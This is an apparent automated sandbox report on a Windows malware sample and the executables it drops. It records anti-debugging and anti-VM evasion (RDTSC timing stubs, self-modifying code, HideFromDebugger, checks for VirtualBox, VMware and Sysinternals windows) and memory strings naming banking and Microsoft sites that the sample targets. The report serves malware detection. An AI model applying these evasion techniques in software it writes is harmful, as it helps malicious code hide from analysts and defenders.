Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53309C8 second address: 5330A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F1BE47673D6h 0x00000010 sbb cl, 00000038h 0x00000013 jmp 00007F1BE47673CBh 0x00000018 popfd 0x00000019 call 00007F1BE47673D8h 0x0000001e pushad 0x0000001f popad 0x00000020 pop ecx 0x00000021 popad 0x00000022 mov dword ptr [esp], eax 0x00000025 jmp 00007F1BE47673D7h 0x0000002a lea eax, dword ptr [ebp-10h] 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F1BE47673CBh 0x00000036 sbb eax, 0E673B0Eh 0x0000003c jmp 00007F1BE47673D9h 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007F1BE47673D0h 0x00000048 xor ax, 8188h 0x0000004d jmp 00007F1BE47673CBh 0x00000052 popfd 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330A83 second address: 5330AAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFEE6C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFEF72 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CD7679 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D40F9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 25EE6C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 25EF72 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 437679 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4A0F9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Special instruction interceptor: First address: 8257B0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Special instruction interceptor: First address: 9CEE36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Special instruction interceptor: First address: 9CF1F8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Special instruction interceptor: First address: 9CDB93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Special instruction interceptor: First address: 9F3F4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Special instruction interceptor: First address: A5BB78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Special instruction interceptor: First address: 596C80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Special instruction interceptor: First address: 5756E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Special instruction interceptor: First address: 5F18B0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Special instruction interceptor: First address: 49F9C1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Special instruction interceptor: First address: 63DD2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Special instruction interceptor: First address: 6C98E1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Special instruction interceptor: First address: ABDD2E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Special instruction interceptor: First address: ABDDE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Special instruction interceptor: First address: C6CBC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Special instruction interceptor: First address: CF6AF4 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Memory allocated: 4AA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Memory allocated: 4C70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Memory allocated: 4AC0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05380C07 rdtsc

0_2_05380C07

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

Evaded block: after key decision

graph_7-41441

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	API coverage: 9.4 %
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	API coverage: 1.6 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1680	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1680	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2716	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6728	Thread sleep count: 235 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6728	Thread sleep time: -7050000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6532	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1012	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5660	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6764	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6000	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2704	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6728	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 1016	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 6208	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 85 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 78 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 79 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 89 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 105 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 98 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 192 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 4676	Thread sleep count: 176 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 5176	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe TID: 6436	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe TID: 6108	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe TID: 6388	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe TID: 3496	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe TID: 3580	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe TID: 2740	Thread sleep count: 55 > 30
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe TID: 2740	Thread sleep time: -330000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_004176E7 FindFirstFileExW,	7_2_004176E7
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_10007EA9 FindFirstFileExW,	7_2_10007EA9
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B8794E FindFirstFileExW,	7_2_04B8794E

Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe

Code function: 9_2_61E354D1 sqlite3_os_init,GetSystemInfo,

9_2_61E354D1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.2090254348.0000000000BEE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmp, 4611cc433b.exe, 4611cc433b.exe, 00000007.00000002.3256554166.00000000009AE000.00000040.00000001.01000000.0000000A.sdmp, 79ddad050f.exe, 79ddad050f.exe, 00000008.00000002.3256159559.000000000054C000.00000040.00000001.01000000.0000000B.sdmp, e051bdf457.exe, e051bdf457.exe, 00000009.00000002.3257897412.0000000000621000.00000040.00000001.01000000.0000000C.sdmp, 79ddad050f.exe, 0000000A.00000002.3255716467.000000000054C000.00000040.00000001.01000000.0000000B.sdmp, e051bdf457.exe, 0000001D.00000002.3256089831.0000000000621000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.0000000005974000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3269197197.0000000001039000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000002.3265991208.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000002.3287900266.00000000054A3000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3179670006.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3093554780.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 79ddad050f.exe, 00000008.00000003.3179670006.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3093554780.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>n
Source: firefox.exe, 0000001B.00000002.3346986289.000001C237CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3270378870.000001E2D6F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: ba17bbfb21.exe, 0000000B.00000003.3192824207.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3192083884.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3192201553.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3191990285.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000002.3201654535.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3192753204.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3192595579.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000002.3196255581.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3292547880.000001C22DFC6000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3272612424.000001E2D7000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: ba17bbfb21.exe, 0000000B.00000003.3192083884.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3194034279.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3192201553.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3191990285.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3192753204.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp, ba17bbfb21.exe, 0000000B.00000003.3192595579.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWO
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.0000000005974000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 79ddad050f.exe, 0000000A.00000002.3261656724.0000000000F99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWR
Source: e051bdf457.exe, 0000001D.00000002.3262185406.0000000000E5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: firefox.exe, 0000001B.00000002.3523030671.000001C23BB69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:I
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmp, 4611cc433b.exe, 00000007.00000002.3256554166.00000000009AE000.00000040.00000001.01000000.0000000A.sdmp, 79ddad050f.exe, 00000008.00000002.3256159559.000000000054C000.00000040.00000001.01000000.0000000B.sdmp, e051bdf457.exe, 00000009.00000002.3257897412.0000000000621000.00000040.00000001.01000000.0000000C.sdmp, 79ddad050f.exe, 0000000A.00000002.3255716467.000000000054C000.00000040.00000001.01000000.0000000B.sdmp, e051bdf457.exe, 0000001D.00000002.3256089831.0000000000621000.00000040.00000001.01000000.0000000C.sdmp, 734386a52c.exe, 0000001E.00000002.3262506890.0000000000C3C000.00000040.00000001.01000000.00000014.sdmp, 734386a52c.exe, 0000001E.00000000.3163160815.0000000000C3C000.00000080.00000001.01000000.00000014.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 79ddad050f.exe, 0000000A.00000003.3179374325.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: firefox.exe, 0000001C.00000002.3272612424.000001E2D7000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllk$R

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_053803EA Start: 05380448 End: 0538042B

0_2_053803EA

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Open window title or class name: procmon_window_class
